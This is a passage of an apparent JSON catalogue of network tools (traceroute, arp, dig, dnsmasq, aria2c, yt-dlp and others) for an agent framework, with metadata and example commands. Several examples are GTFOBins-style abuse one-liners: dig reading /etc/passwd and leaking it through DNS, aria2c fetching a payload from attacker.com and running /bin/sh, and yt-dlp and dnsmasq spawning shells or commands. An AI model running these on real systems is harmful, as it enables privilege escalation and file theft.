        "description": "Route packets through the specified gateway (maximum 8 for IPv4 and 127 for IPv6)",
        "aliases": [
          "-g",
          "--gateway"
        ],
        "flag": "-g"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Read this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "icmp",
        "template_key": "icmp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use ICMP ECHO for tracerouting",
        "aliases": [
          "-I",
          "--icmp"
        ],
        "flag": "-I"
      },
      {
        "name": "interface",
        "template_key": "interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify a network interface to operate with",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "max-hops",
        "template_key": "max-hops",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Set the max number of hops (max TTL to be reached). Default is 30",
        "aliases": [
          "-m",
          "--max-hops"
        ],
        "flag": "-m"
      },
      {
        "name": "module",
        "template_key": "module",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use specified module (either builtin or external)",
        "aliases": [
          "-M",
          "--module"
        ],
        "flag": "-M"
      },
      {
        "name": "mtu",
        "template_key": "mtu",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Discover MTU along the path being traced. Implies",
        "aliases": [
          "--mtu"
        ],
        "flag": "--mtu"
      },
      {
        "name": "options",
        "template_key": "options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use module-specific option OPTS for the traceroute module. Several OPTS allowed, separated by comma. If OPTS is \"help\", print info about available options",
        "aliases": [
          "-O",
          "--options"
        ],
        "flag": "-O"
      },
      {
        "name": "port",
        "template_key": "port",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set the destination port to use. It is either",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "protocol",
        "template_key": "protocol",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use raw packet of protocol prot for tracerouting",
        "aliases": [
          "-P",
          "--protocol"
        ],
        "flag": "-P"
      },
      {
        "name": "queries",
        "template_key": "queries",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Set the number of probes per each hop. Default is 3",
        "aliases": [
          "-q",
          "--queries"
        ],
        "flag": "-q"
      },
      {
        "name": "sendwait",
        "template_key": "sendwait",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too)",
        "aliases": [
          "-z",
          "--sendwait"
        ],
        "flag": "-z"
      },
      {
        "name": "sim-queries",
        "template_key": "sim-queries",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Set the number of probes to be tried simultaneously (default is 16)",
        "aliases": [
          "-N",
          "--sim-queries"
        ],
        "flag": "-N"
      },
      {
        "name": "source",
        "template_key": "source",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use source src_addr for outgoing packets",
        "aliases": [
          "-s",
          "--source"
        ],
        "flag": "-s"
      },
      {
        "name": "sport",
        "template_key": "sport",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use source port num for outgoing packets. Implies",
        "aliases": [
          "--sport"
        ],
        "flag": "--sport"
      },
      {
        "name": "tcp",
        "template_key": "tcp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use TCP SYN for tracerouting (default port is 80)",
        "aliases": [
          "-T",
          "--tcp"
        ],
        "flag": "-T"
      },
      {
        "name": "tos",
        "template_key": "tos",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set the TOS (IPv4 type of service) or TC (IPv6",
        "aliases": [
          "-t",
          "--tos"
        ],
        "flag": "-t"
      },
      {
        "name": "udp",
        "template_key": "udp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use UDP to particular port for tracerouting",
        "aliases": [
          "-U",
          "--udp"
        ],
        "flag": "-U"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print version info and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "wait",
        "template_key": "wait",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Wait for a probe no more than HERE (default 3) times longer than a response from the same hop, or no more than NEAR (default 10) times than some next hop, or MAX (default 5.0) seconds (float point values allowed too)",
        "aliases": [
          "-w",
          "--wait"
        ],
        "flag": "-w"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "traceroute man page",
        "url": "https://linux.die.net/man/8/traceroute"
      },
      {
        "label": "RFC 1393 — Traceroute using IP Option",
        "url": "https://datatracker.ietf.org/doc/html/rfc1393"
      }
    ],
    "related_tools": [
      "mtr",
      "ping",
      "pathping",
      "tracepath"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "none"
    },
    "risk_level": "low",
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "route-trace",
        "hop-latency"
      ],
      "consumes": [
        "target-host"
      ]
    }
  },
  {
    "_body": "\n# arp — ARP Table Manager\n\narp displays and manipulates the system's ARP cache. When used with elevated privileges, the `-f` flag reads a file as ARP entries, which can leak file contents through error messages.\n",
    "_source": "arp.md",
    "allowed-tools": [
      "arp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.arp.table",
        "description": "ARP cache table",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.host",
      "network.arp.manipulate",
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.interface.name",
          "description": "Network interface name"
        }
      ],
      "outputs": [
        {
          "type": "network.arp.table",
          "description": "ARP cache entries",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ARP table manipulation tool that can read files when used with privileges via -f flag.",
    "examples": [
      {
        "description": "Read arbitrary file parsed as ARP table entries via -f flag",
        "command": "arp -f /path/to/input-file"
      }
    ],
    "execution": {
      "template": "arp {f}",
      "sandbox": "execFile",
      "timeout_seconds": 10,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-arp",
    "install": [
      {
        "method": "apt",
        "package_name": "net-tools",
        "commands": [
          "apt-get install -y net-tools"
        ]
      }
    ],
    "mitre_ids": [
      "T1012",
      "T1046",
      "T1082",
      "T1087"
    ],
    "name": "arp",
    "namespace": "network:discovery:arp",
    "parameters": [
      {
        "name": "f",
        "type": "file",
        "required": false,
        "description": "Read entries from file",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "arp man page",
        "url": "https://man7.org/linux/man-pages/man8/arp.8.html"
      }
    ],
    "related_tools": [
      "ip",
      "ifconfig"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "discovery",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "arp-table"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dig — DNS Lookup Utility\n\nDig (Domain Information Groper) is the most versatile DNS debugging tool available. It provides detailed information about DNS records, server responses, and resolution paths.\n\n## Common Record Types\n\n| Type | Purpose | Example Use |\n|------|---------|-------------|\n| **A** | IPv4 address mapping | `dig example.com A` |\n| **AAAA** | IPv6 address mapping | `dig example.com AAAA` |\n| **MX** | Mail exchange servers | `dig example.com MX` |\n| **NS** | Authoritative name servers | `dig example.com NS` |\n| **TXT** | Arbitrary text data (SPF, DKIM) | `dig example.com TXT` |\n| **CNAME** | Canonical name alias | `dig www.example.com CNAME` |\n| **SOA** | Start of Authority (zone metadata) | `dig example.com SOA` |\n\n## Output Interpretation\n\n```bash\n; <<>> DiG 9.10.6 <<>> example.com A\n;; QUESTION SECTION:\n;example.com.           IN  A\n\n;; ANSWER SECTION:\nexample.com.        3600    IN  A   93.184.216.34\n\n;; Query time: 45 msec\n;; SERVER: 192.168.1.1#53(192.168.1.1)\n;; WHEN: Mon Jan 15 10:00:00 EDT 2026\n;; MSG SIZE  rcvd: 56\n```\n\n| Field | Meaning |\n|-------|---------|\n| **3600** | TTL (seconds) — how long the record can be cached |\n| **IN** | Internet class |\n| **Query time** | Round-trip in milliseconds |\n\n## Advanced Queries\n\n```bash\n# Get all record types\ndig example.com ANY\n\n# DNSSEC validation\ndig example.com +dnssec\n\n# Short output (just the values)\ndig example.com +short\n\n# Multiline output for readability\ndig example.com +multiline\n\n# Query specific EDNS options\ndig example.com +edns=0\n```\n\n## Related Tools\n\n- **[nslookup](../../dns/nslookup.md)** — Simpler DNS lookup (legacy)\n- **[host](../../dns/host.md)** — Minimal DNS lookup\n- **[whois](../../intel/whois.md)** — Domain registration information\n- **[dnsrecon](../../recon/dnsrecon.md)** — DNS enumeration tool\n",
    "_source": "dig.md",
    "allowed-tools": [
      "dig",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.dns.response",
        "description": "DNS response data",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.recon.dns",
      "network.dns.query",
      "network.dns.lookup",
      "network.dns.reverse",
      "network.dns.trace",
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Domain name to query"
        }
      ],
      "outputs": [
        {
          "type": "network.dns.response",
          "description": "DNS query results with record details",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "none"
      }
    },
    "dependencies": [],
    "description": "DNS lookup utility for querying name servers and debugging DNS resolution issues.",
    "examples": [
      {
        "description": "Standard A record lookup",
        "command": "dig example.com A"
      },
      {
        "description": "Query MX records for mail servers",
        "command": "dig example.com MX"
      },
      {
        "description": "Trace full DNS delegation path",
        "command": "dig example.com +trace"
      },
      {
        "description": "Query a specific nameserver",
        "command": "dig @8.8.8.8 example.com A"
      },
      {
        "description": "Reverse DNS lookup",
        "command": "dig -x 142.250.80.14"
      },
      {
        "description": "Bulk domain transfer attempt (often disabled)",
        "command": "dig example.com AXFR"
      },
      {
        "description": "Read an arbitrary file by specifying it as a batch file. Note that this will leak lines of the file read as outbound DNS lookups.",
        "command": "dig -f /etc/passwd\n"
      },
      {
        "description": "Argument injection: read local file: Read an arbitrary file by specifying it as a batch file. Note that this will leak lines of the file read as outbound DNS lookups.",
        "command": "dig -f /etc/passwd"
      },
      {
        "description": "Basic A record lookup",
        "command": "dig example.com"
      },
      {
        "description": "Specify DNS server to use for the query",
        "command": "dig @8.8.8.8 example.com"
      },
      {
        "description": "cheat.sheets: dig",
        "command": "dig example.com AAAA"
      },
      {
        "description": "Display only the answer section of the query",
        "command": "dig +noquestion +noauthority +noadditional +noanswer example.com"
      },
      {
        "description": "Perform a reverse DNS lookup for an IP address",
        "command": "dig -x 192.0.2.1"
      },
      {
        "description": "Use verbose output to display entire response",
        "command": "dig +noall +answer +comment example.com"
      },
      {
        "description": "Query whois information using dig",
        "command": "dig +short txt whois.example.com"
      },
      {
        "description": "Query DNS for specific port using SRV record",
        "command": "dig _sip._tcp.example.com SRV"
      },
      {
        "description": "Conduct a trace from root to authoritative DNS server",
        "command": "dig +trace example.com"
      },
      {
        "description": "Measure and display query time",
        "command": "dig example.com +stats"
      },
      {
        "description": "Get list of name servers for a domain",
        "command": "dig example.com NS"
      }
    ],
    "execution": {
      "template": "dig {flag-4} {flag-6} {flag-b} {flag-c} {flag-f}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "output-json",
      "file-system"
    ],
    "global_vars": {
      "target": "ip",
      "domain": "domain"
    },
    "id": "network-dns-dig",
    "install": [
      {
        "method": "apt",
        "package_name": "dnsutils",
        "commands": [
          "apt-get install -y dnsutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1046",
      "T1069",
      "T1592"
    ],
    "name": "dig",
    "namespace": "network:dns:dig",
    "parameters": [
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(use IPv4 query transport only)",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(use IPv6 query transport only)",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(bind to source address/port)",
        "aliases": [
          "-b"
        ],
        "enum": [
          "bind to source address",
          "port"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify query class)",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(batch mode)",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify tsig key file)",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(enable memory usage debugging)",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "(specify port number)",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify query name)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(do not read ~/.digrc)",
        "aliases": [
          "-r"
        ],
        "enum": [
          "do not read ~",
          ".digrc"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify query type)",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(display times in usec instead of msec)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(shortcut for reverse lookups)",
        "aliases": [
          "-x",
          "-n"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "d-opt is of the form +keyword[=value], where keyword is: +[no]aaflag (Set AA flag in query (+[no]aaflag)) +[no]aaonly (Set AA flag in query (+[no]aaflag)) +[no]additional (Control display of additional section) +[no]adflag (Set AD flag in query (default on)) +[no]all (Set or clear all display flags) +[no]answer (Control display of answer section) +[no]authority (Control display of authority section) +[no]badcookie (Retry BADCOOKIE responses) +[no]besteffort (Try to parse even illegal messages) +bufsize[=###] (Set EDNS0 Max UDP packet size) +[no]cdflag (Set checking disabled flag in query) +[no]class (Control display of class in records) +[no]cmd (Control display of command line - global option) +[no]coflag (Set compact denial of existence ok flag) in query) +[no]comments (Control display of packet header and section name comments) +[no]cookie (Add a COOKIE option to the request) +[no]crypto (Control display of cryptographic fields in records) +[no]defname (Use search list (+[no]search)) +[no]dns64prefix (Get the DNS64 prefixes from ipv4only.arpa) +[no]dnssec (Request DNSSEC records) +domain=### (Set default domainname) +[no]edns[=###] (Set EDNS version) [0] +ednsflags=### (Set undefined EDNS flag bits) +[no]ednsnegotiation (Set EDNS version negotiation) +ednsopt=###[:value] (Send specified EDNS option) +noednsopt (Clear list of +ednsopt options) +[no]expandaaaa (Expand AAAA records) +[no]expire (Request time to expire) +[no]fail (Don't try next server on SERVFAIL) +[no]header-only (Send query without a question section) +[no]https[=###] (DNS-over-HTTPS mode) [/] +[no]https-get (Use GET instead of default POST method while using HTTPS) +[no]http-plain[=###] (DNS over plain HTTP mode) [/] +[no]http-plain-get (Use GET instead of default POST method while using plain HTTP) +[no]identify (ID responders in short answers) +[no]idn (convert international domain names) +[no]ignore (Don't revert to TCP for TC responses.) +[no]keepalive (Request EDNS TCP keepalive) +[no]keepopen (Keep the TCP socket open between queries) +[no]multiline (Print records in an expanded format) +ndots=### (Set search NDOTS value) +[no]nsid (Request Name Server ID) +[no]nssearch (Search all authoritative nameservers) +[no]onesoa (AXFR prints only one soa record) +[no]opcode=### (Set the opcode of the request) +padding=### (Set padding block size [0]) +[no]proxy[=src_addr[#src_port]-dst_addr[#dst_port]] (Add PROXYv2 headers to the queries. If addresses are omitted, LOCAL PROXYv2 headers are added) +[no]proxy-plain[=src_addr[#src_port]-dst_addr[#dst_port]] (The same as'+[no]proxy', but send PROXYv2 headers ahead of any encryption if an encrypted transport is used) +qid=### (Specify the query ID to use when sending queries) +[no]qr (Print question before sending) +[no]question (Control display of question section) +[no]raflag (Set RA flag in query (+[no]raflag)) +[no]rdflag (Recursive mode (+[no]recurse)) +[no]recurse (Recursive mode (+[no]rdflag)) +retry=### (Set number of UDP retries) [2] +[no]rrcomments (Control display of per-record comments) +[no]search (Set whether to use searchlist) +[no]short (Display nothing except short form of answers - global option) +[no]showbadcookie (Show BADCOOKIE message) +[no]showbadvers (Show BADVERS message) +[no]showsearch (Search with intermediate results) +[no]split=## (Split hex/base64 fields into chunks) +[no]stats (Control display of statistics) +subnet=addr (Set edns-client-subnet option) +[no]tcflag (Set TC flag in query (+[no]tcflag)) +[no]tcp (TCP mode (+[no]vc)) +timeout=### (Set query timeout) [5] +[no]tls (DNS-over-TLS mode) +[no]tls-ca[=file] (Enable remote server's TLS certificate validation) +[no]tls-hostname=hostname (Explicitly set the expected TLS hostname) +[no]tls-certfile=file (Load client TLS certificate chain from file) +[no]tls-keyfile=file (Load client TLS private key from file) +[no]trace (Trace delegation down from root [implies +dnssec]) +tries=### (Set number of UDP attempts) [3] +[no]ttlid (Control display of ttls in records) +[no]ttlunits (Display TTLs in human-readable units) +[no]unknownformat (Print RDATA in RFC 3597 \"unknown\" format) +[no]vc (TCP mode (+[no]tcp)) +[no]yaml (Present the results as YAML) +[no]zflag (Set Z flag in query) global d-opts and servers (before host name) affect all queries. local d-opts and servers (after host name) affect only that lookup. -h (print help and exit) -v (print version and exit)",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "dig man page",
        "url": "https://linux.die.net/man/1/dig"
      },
      {
        "label": "BIND documentation",
        "url": "https://www.isc.org/bind/"
      }
    ],
    "related_tools": [
      "nslookup",
      "host",
      "whois",
      "dnsrecon"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "none"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "dns-records",
        "dns-trace"
      ],
      "consumes": [
        "domain-name"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "dnsmasq.md",
    "allowed-tools": [
      "dnsmasq",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DNS forwarder and DHCP server, can execute commands via --conf-script option.",
    "examples": [
      {
        "description": "Execute a command via dnsmasq --conf-script",
        "command": "dnsmasq --conf-script='/path/to/command 1>&2'"
      }
    ],
    "execution": {
      "template": "dnsmasq --conf-script='/path/to/command 1>&2'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-dns-dnsmasq",
    "install": [
      {
        "method": "apt",
        "package_name": "dnsmasq",
        "commands": [
          "apt-get install -y dnsmasq"
        ]
      }
    ],
    "mitre_ids": [
      "T1046",
      "T1069",
      "T1592"
    ],
    "name": "dnsmasq",
    "namespace": "network:dns:dnsmasq",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dnsmasq/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "host.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Simple DNS lookup for forward and reverse lookups.",
    "examples": [
      {
        "description": "Lookup DNS records",
        "command": "host example.com"
      }
    ],
    "execution": {
      "template": "host example.com",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-host",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y bind9-dnsutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1590"
    ],
    "name": "host",
    "namespace": "network:dns:lookup",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "host Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/host"
      },
      {
        "label": "host manual",
        "url": "https://man7.org/linux/man-pages/man1/host.1.html"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "nslookup.md",
    "capabilities": [
      "network.diagnostics",
      "network.configuration",
      "system.information-gathering"
    ],
    "description": "Queries DNS servers for domain name or IP resolution.",
    "examples": [
      {
        "description": "Query DNS for a domain",
        "command": "nslookup example.com"
      }
    ],
    "execution": {
      "template": "nslookup example.com",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "net-nslookup",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y dnsutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1590"
    ],
    "name": "nslookup",
    "namespace": "network:dns:lookup",
    "parameters": [],
    "platforms": [
      "linux",
      "windows"
    ],
    "references": [
      {
        "label": "nslookup Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# aria2c — Download Utility\n\naria2c is a lightweight multi-protocol download utility supporting HTTP/HTTPS, FTP, SFTP, BitTorrent, and Metalink. When used with sudo or SUID, it can execute arbitrary commands via download hooks and read files through error messages.\n",
    "_source": "aria2c.md",
    "allowed-tools": [
      "aria2c",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.transfer.file",
        "description": "Downloaded file",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command",
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "URL to download from"
        }
      ],
      "outputs": [
        {
          "type": "system.file.path",
          "description": "Downloaded file"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Lightweight multi-protocol download utility that can execute commands via hooks and read files.",
    "examples": [
      {
        "description": "Execute a command on download error via hook",
        "command": "echo /path/to/command >/path/to/temp-file\nchmod +x /path/to/temp-file\naria2c --on-download-error=/path/to/temp-file http://some-invalid-domain"
      },
      {
        "description": "Execute a command on download completion via remote payload",
        "command": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa"
      },
      {
        "description": "Download a file remotely",
        "command": "aria2c -o /path/to/output-file http://attacker.com/path/to/input-file"
      },
      {
        "description": "Read file content leaked in error messages",
        "command": "aria2c -i /path/to/input-file"
      }
    ],
    "execution": {
      "template": "aria2c {o} {i} {allow-overwrite} {gid} {on-download-error} {on-download-complete}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "process-manip",
      "file-system"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "network-download-aria2c",
    "install": [
      {
        "method": "apt",
        "package_name": "aria2",
        "commands": [
          "apt-get install -y aria2"
        ]
      }
    ],
    "name": "aria2c",
    "namespace": "network:download:aria2c",
    "parameters": [
      {
        "name": "o",
        "type": "file",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "i",
        "type": "file",
        "required": false,
        "description": "Input file with URLs",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "allow-overwrite",
        "type": "string",
        "required": false,
        "description": "Allow overwrite of existing files",
        "aliases": [
          "--allow-overwrite"
        ],
        "flag": "--allow-overwrite"
      },
      {
        "name": "gid",
        "type": "string",
        "required": false,
        "description": "Set GID for download",
        "aliases": [
          "--gid"
        ],
        "flag": "--gid"
      },
      {
        "name": "on-download-error",
        "type": "file",
        "required": false,
        "description": "Command to run on download error",
        "aliases": [
          "--on-download-error"
        ],
        "flag": "--on-download-error"
      },
      {
        "name": "on-download-complete",
        "type": "file",
        "required": false,
        "description": "Command to run on download complete",
        "aliases": [
          "--on-download-complete"
        ],
        "flag": "--on-download-complete"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "aria2 documentation",
        "url": "https://aria2.github.io/manual/en/html/"
      }
    ],
    "related_tools": [
      "curl",
      "wget"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "exfiltration",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "downloaded-file",
        "file-content",
        "command-output"
      ],
      "consumes": [
        "download-url"
      ]
    }
  },
  {
    "_body": "\n# yt-dlp\n\nyt-dlp is a command-line utility. Download videos from YouTube and other sites; can also spawn an interactive shell.\n",
    "_source": "yt-dlp.md",
    "allowed-tools": [
      "yt-dlp"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Download videos from YouTube and other sites; can execute arbitrary commands.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "yt-dlp 'https://www.youtube.com/watch?v=xxxxxxxxxxx' --exec '/bin/sh #'"
      }
    ],
    "execution": {
      "template": "yt-dlp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-download-yt-dlp",
    "install": [
      {
        "method": "apt",
        "package_name": "yt-dlp",
        "commands": [
          "apt-get install -y yt-dlp"
        ]
      }
    ],
    "name": "yt-dlp",
    "namespace": "network:download:yt-dlp",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/yt-dlp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
